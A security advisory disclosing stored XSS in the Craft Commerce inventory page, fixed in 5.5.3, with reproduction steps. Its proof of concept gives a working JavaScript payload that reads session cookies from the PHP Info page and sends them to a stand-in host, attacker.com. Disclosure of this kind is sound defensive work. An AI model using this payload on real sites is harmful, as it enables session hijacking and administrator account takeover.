Craft Commerce is an ecommerce platform for Craft CMS. Prior to 5.5.3, Stored XSS vulnerabilities exist in the Commerce Inventory page. The Product Title, Variant Title, and Variant SKU fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page. This vulnerability is fixed in 5.5.3.

Affected: Packagist: craftcms/commerce

## Summary

Stored XSS vulnerabilities exist in the Commerce Inventory page. The **Product Title**, **Variant Title**, and **Variant SKU** fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.

This vulnerability enables **session hijacking** by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.

## Proof of Concept

### Permissions Required

- Access the control panel - Access Craft Commerce - Create/Edit products

### Steps to Reproduce 1. Log in to the control panel 2. Navigate to **Commerce → Products** 3. Add a new product and set the **Title** field to: (replace `https://attacker.com`) ```html <img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})"> ``` 4. Save the product 5. Navigate to **Commerce → Inventory** (`/admin/commerce/inventory`) 6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server

### Cookie Extraction Details The PHP Info page (`/admin/utilities/php-info`) displays cookie values (unmasked) in multi…